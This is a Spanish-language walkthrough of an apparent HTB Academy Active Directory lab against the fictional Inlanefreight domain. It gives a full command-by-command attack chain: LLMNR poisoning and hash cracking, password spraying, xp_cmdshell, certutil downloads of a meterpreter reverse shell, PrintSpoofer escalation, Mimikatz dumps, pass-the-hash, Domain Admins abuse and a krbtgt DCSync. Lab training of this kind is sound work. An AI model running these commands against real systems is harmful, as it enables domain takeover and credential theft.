Evaluación de Habilidades AD – Parte II (Inlanefreight)

🧩 Escenario

Inlanefreight nos ha contratado nuevamente para una auditoría interna completa del entorno AD.
Tenemos acceso a una máquina Parrot proporcionada por el cliente para ejecutar todos los ataques sin restricciones de sigilo.

🖥️ Conexión inicial

ssh htb-student@10.129.X.X
# Password: HTB_@cademy_stdnt!

🛰️ 1. Reconocimiento de Red

Escaneamos el rango interno:

sudo nmap 172.16.7.0/23 -sn -oA tnet

🔍 Hosts encontrados

Escaneo profundo:

sudo nmap -v -A -iL hosts

🎣 2. Captura de Credenciales (LLMNR/NBT-NS Poisoning)

sudo responder -I ens224

📌 Se captura el hash NTLMv2 del usuario AB920:

{448211EE-98EA-415D-A4F6-2A007F3207AB}.png
Los hashes se guardan en:
/usr/share/responder/logs/
Pasted image 20251124183447.png
Crackeamos:

hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.tx

Pasted image 20251124183900.png
Contraseña encontrada: weasal
Usuario comprometido: AB920


🪟 3. Acceso inicial (Evil-WinRM)

Conectamos

evil-winrm -i 172.16.7.50 -u ab920 -p weasal

🔐 4. Enumeración de políticas y usuarios

🔎 Política de contraseñas:

crackmapexec smb 172.16.7.3 -u AB920 -p 'weasal' --pass-pol

{1CA35D48-16C3-4D26-93C1-B70C0C1C88E5}.png
📌 La longitud mínima de contraseña es 1, lo cual permite password spraying.


5. Password Spraying

Generamos lista de usuarios:

crackmapexec smb 172.16.7.3 -u ab920 -p weasal --users | tee usernames.txt
cat usernames.txt | cut -d'\' -f2 | awk '{print $1}' > valid_users.txt

Pasted image 20251124193259.png
Ataque:

kerbrute passwordspray -d inlanefreight.local --dc 172.16.7.3 valid_users.txt Welcome1

Usuario descubierto: BR086
Contraseña: Welcome1


📁 6. Enumeración SMB y extracción de secretos

Listamos recursos:

crackmapexec smb 172.16.7.3 -u ab920 -p weasal --shares

Pasted image 20251124194625.png
Spidering del share:

sudo crackmapexec smb 172.16.7.3 -u BR086 -p Welcome1 -M spider_plus --share 'Department Shares'
cat /tmp/cme_spider_plus/172.16.7.3.json

Descubrimos un archivo web.config con credenciales:

{13E077BB-15F5-4FE3-989A-C3A14E1BB38D}.png

smbclient //172.16.7.3/Department\ Shares -U=BR086%Welcome1
smb: \> cd IT\Private\Development\
smb: \IT\Private\Development\> get web.config

Pasted image 20251124195445.png
✔ Usuario: netdb
✔ Contraseña: D@ta_bAse_adm1n!


🛢️ 7. Acceso al SQL Server (mssqlclient.py)

python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py netdb:'D@ta_bAse_adm1n!'@172.16.7.60

Habilitamos cmdshell:

enable_xp_cmdshell
xp_cmdshell whoami /priv

Pasted image 20251125165307.png
📌 Tiene SeImpersonatePrivilege → vulnerable a PrintSpoofer.


🖨️ 8. Escalada a SYSTEM (PrintSpoofer)

Como vemos tiene las vulnerabilidades CVE-2021-34527 / CVE-2021-1675

rpcdump.py @172.16.7.60 | egrep 'MS-RPRN|MS-PAR'

{E1360B29-DFCD-47AF-951E-EF41030E2758}.png

Creamos payload:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.7.240 LPORT=8080 -f exe > rshell.exe
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
scp  PrintSpoofer64.exe htb-student@10.129.177.180:/home/htb-student/
# Iniciar servidor web
python3 -m http.server 8000

Subimos herramientas vía certutil:

-- Descargar PrintSpoofer
EXEC xp_cmdshell 'certutil -urlcache -f http://172.16.7.240:8000/PrintSpoofer64.exe C:\Users\Public\PrintSpoofer64.exe';

-- Descargar reverse shell
EXEC xp_cmdshell 'certutil -urlcache -f http://172.16.7.240:8000/rshell.exe C:\Users\Public\rshell.exe';

-- Verificar que se descargaron
EXEC xp_cmdshell 'dir C:\Users\Public\*.exe';

{B384EAB2-9801-4420-8D13-D1BC5996DC84}.png

# En otra terminal, iniciar msfconsole
msfconsole

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 172.16.7.240
set LPORT 8080
run

Ejecutamos:

-- Ejecutar PrintSpoofer para obtener shell como SYSTEM
EXEC xp_cmdshell 'C:\Users\Public\PrintSpoofer64.exe -c "C:\Users\Public\rshell.exe"';

🎉 Obtenemos SYSTEM.
{989A3291-6218-4CB9-87C7-38DBFAEE1B3E}.png


🧪 9. Mimikatz / Kiwi – Volcado de credenciales

En meterpreter:

# Cargar Mimikatz
load kiwi

# Volcar credenciales
lsa_dump_sam
lsa_dump_secrets
lsa_dump_creds

# O volcar todos los hashes
hashdump

✔ Conseguimos hash NTLM del Administrador.
Pasted image 20251125172937.png


🪟 10. Movimiento lateral hacia MS01

evil-winrm -i 172.16.7.50 -u administrator -H bdaffbfe64f1fc646a3353be1c2c3c99

🧬 11. Enumeración de ACLs con PowerView

use exploit/windows/smb/psexec
set lhost 172.16.7.240
set rhosts 172.16.7.50
set smbuser administrator
set smbpass 00000000000000000000000000000000:bdaffbfe64f1fc646a3353be1c2c3c99
exploit
Invoke-WebRequest -Uri "http://172.16.7.240:8000/PowerView.ps1 " -OutFile "C:\PowerView.ps1"
. C:\PowerView.ps1

Listamos los usuarios que tienen GenericAll sobros el grupo Domain Admin

Get-DomainObjectAcl -ResolveGUIDs -Identity "CN=Domain Admins,CN=Users,DC=inlanefreight,DC=local" | Where-Object { $_.ActiveDirectoryRights -like "*GenericAll*" }

El SID corresponde al usuario:

ConvertFrom-SID "S-1-5-21-3327542485-274640656-2609762496-4611"

Usuario: CT059
✔ Tiene GenericAll sobre Domain Admins → crítico.


🧲 12. Captura de hash NTLMv2 con Inveigh

evil-winrm -i 172.16.7.50 -u administrator -H bdaffbfe64f1fc646a3353be1c2c3c99
upload /home/htb-student/Inveigh.ps1
Import-Module .\Inveigh.ps1

Para ver hashes

Get-Inveigh -NTLMv2Unique

Obtenemos el hash de CT059:
Pasted image 20251125182355.png
Crackeamos:

hashcat -m 5600 ct059_clean.hash /usr/share/wordlists/rockyou.txt --force

Contraseña crackeada
Pasted image 20251125182609.png
✔ Contraseña: charlie1


🪟 13. Acceso RDP vía ProxyChains (opcional pero cómodo)

Configuramos túnel SOCKS:
Pasted image 20251125183124.png
Conectamos

ssh -D 9050 htb-student@10.129.177.180

RDP:

proxychains xfreerdp /v:172.16.7.50 /u:CT059 /p:charlie1 /d:inlanefreight.local /dynamic-resolution /drive:Shared,//home/kali/mimikatz

{74290721-C9C2-4799-BAE4-8B7941993231}.png


👑 *14. Elevación a Domain Admin

Net group “domain admins” ct059 /add /domain

{B9E96966-9485-4BD7-A409-877BFF379207}.png


🏰 15. Compromiso final – Control total del dominio

Conexión al DC01:

$cred = New-Object System.Management.Automation.PSCredential("INLANEFREIGHT\CT059", (ConvertTo-SecureString "charlie1" -AsPlainText -Force))
Enter-PSSession -ComputerName DC01 -Credential $cred

O de esta manera

python3 /usr/share/doc/python3-impacket/examples/psexec.py INLANEFREIGHT/CT059:charlie1@172.16.7.3



Descargamos Mimikatz:

python3 -m http.server 8000
Invoke-WebRequest -Uri "http://172.16.7.240:8000/x64/mimikatz.exe" -OutFile "C:\Windows\Temp\mimikatz.exe"

Ejecutamos DCSync:

C:\Windows\Temp\mimikatz.exe

# En Mimikatz:
privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:krbtgt

Y obtenemos el hash ntl de krbgt
Pasted image 20251125191741.png
🎉 Hash NTLM del KRBTGT obtenido → Golden Ticket → Dominio totalmente comprometido.

Referencias

🌐 1.2 Escanear una red
🔐 Enumerar y Recuperar Políticas de Contraseña
🔐 Password Spraying desde Linux
🔍 Búsqueda de credenciales en Linux
🟩 Ataques a Bases de Datos SQL (MySQL & MSSQL)
🩸 Vulnerabilidades del borde sangrante#🖨️ PrintNightmare
🔍 ACL Enumeration
🪟 LLMNR & NBT-NS Poisoning desde Windows (Inveigh)
[[🧭 Dynamic Port Forwarding con SSH & SOCKS (Pivoting)#🚀 Dynamic Port Forwarding (-D) con SSH]]